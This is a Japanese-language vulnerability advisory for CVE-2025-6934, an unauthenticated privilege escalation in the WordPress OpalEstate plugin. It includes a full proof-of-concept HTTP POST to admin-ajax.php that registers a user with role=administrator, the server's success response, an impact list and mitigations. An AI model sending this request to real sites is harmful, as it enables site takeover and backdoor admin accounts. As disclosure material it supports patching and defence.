🚨 WordPress OpalEstate プラグイン - 未認証の権限昇格の脆弱性

🔎 説明

WordPress 用の OpalEstate プラグインには、AJAX 登録ハンドラーに重大な脆弱性があり、未認証のユーザーが管理者として登録できるようになります。

この問題は、opalestate_register_form AJAX アクションにおける role パラメータの安全でない処理に起因します。このアクションは admin-ajax.php 経由で公開されています。有効な nonce を持つ攻撃者は、role=administrator フィールドを送信するだけで権限を昇格させ、サイト全体を侵害する可能性があります。

CVE ID: CVE-2025-6934 CVSS スコア: 9.8 (緊急) 公開日: 2025年6月30日

📋 脆弱性エンドポイント / POC

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 231 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/wordpress/?page_id=16 Accept-Encoding: gzip, deflate, br Cookie: wp-settings-time-1=1750938057; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; kawuda_cookie=1751024383267404614; PHPSESSID=rsbi6r8gs523c35v319f1jf4tt Connection: keep-alive

username=mrjtest&email=mrjtest%40gmail.com&password=123&password1=123&role=administrator&confirmed_register=on&opalestate-register-nonce=db20fa048c&_wp_http_referer=%2Fwordpress%2F%3Fpage_id%3D16&ajax=1&action=opalestate_register_form

レスポンス

HTTP/1.1 200 OK Date: Wed, 02 Jul 2025 14:19:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Pragma: no-cache Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8

{"status":true,"redirect":"/wordpress/?page_id=16"}

影響

• WordPress サイトの完全な乗っ取り
• 未認証による管理者アカウントの作成
• 永続的なバックドアアクセス
• 権限連鎖やプラグイン/テーマの悪用の可能性

🛡️ 緩和策

• ユーザーが制御する入力から role パラメータを削除するか、サニタイズしてください。
• サーバーサイドでロールの割り当てを強制してください（例: 購読者のみ）。
• ロールを固定した wp_insert_user() または wp_create_user() を使用してください。
• 機密性の高い操作を処理する前に、ユーザーの権限を検証してください。
• プラグインを修正するか、必須でない場合は AJAX 登録を無効化してください。

作成者: MRJ HAXCORE